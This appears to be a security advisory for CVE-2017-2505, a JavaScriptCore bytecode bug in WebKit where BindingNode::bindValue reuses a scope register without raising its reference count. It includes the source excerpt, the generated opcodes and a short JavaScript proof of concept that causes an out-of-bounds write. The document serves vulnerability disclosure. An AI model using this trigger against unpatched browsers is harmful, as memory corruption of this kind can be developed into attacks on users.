WebKit JSC BindingNode::bindValue Failed Reference Count Increase

` WebKit: JSC: BindingNode::bindValue doesn't increase the scope's reference count   
  
CVE-2017-2505  
  
  
Here's a snippet of BindingNode::bindValue.  
  
void BindingNode::bindValue(BytecodeGenerator& generator, RegisterID* value) const  
{  
...  
RegisterID* scope = generator.emitResolveScope(nullptr, var);  
generator.emitExpressionInfo(divotEnd(), divotStart(), divotEnd());  
if (m_bindingContext == AssignmentContext::AssignmentExpression)  
generator.emitTDZCheckIfNecessary(var, nullptr, scope);  
if (isReadOnly) {  
generator.emitReadOnlyExceptionIfNeeded(var);  
return;  
}  
generator.emitPutToScope(scope, var, value, generator.isStrictMode() ? ThrowIfNotFound : DoNotThrowIfNotFound, initializationModeForAssignmentContext(m_bindingContext));  
generator.emitProfileType(value, var, divotStart(), divotEnd());  
if (m_bindingContext == AssignmentContext::DeclarationStatement || m_bindingContext == AssignmentContext::ConstDeclarationStatement)  
generator.liftTDZCheckIfPossible(var);  
...  
}  
  
That method uses |scope| without increasing its reference count. Thus, in |emitTDZCheckIfNecessary|, same |RegisterID| might be used.  
  
Generated opcode of the PoC:  
[ 124] resolve_scope loc13, loc3, a(@id4), <ClosureVar>, 0, 0x62d00011f1a0  
[ 131] get_from_scope loc13, loc13, a(@id4), 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, 0 predicting None  
[ 139] op_check_tdz loc13  
[ 141] put_to_scope loc13, a(@id4), loc12, 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, <structure>, 0  
  
At 131, loc13 which points the scope is overwritten with |a|.  
At 141, |a| is used as a scope, and it causes OOB write.  
  
PoC:  
(function () {  
let a = {  
get val() {  
[...{a = 1.45}] = [];  
a.val.x;  
},  
};  
  
a.val;  
})();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`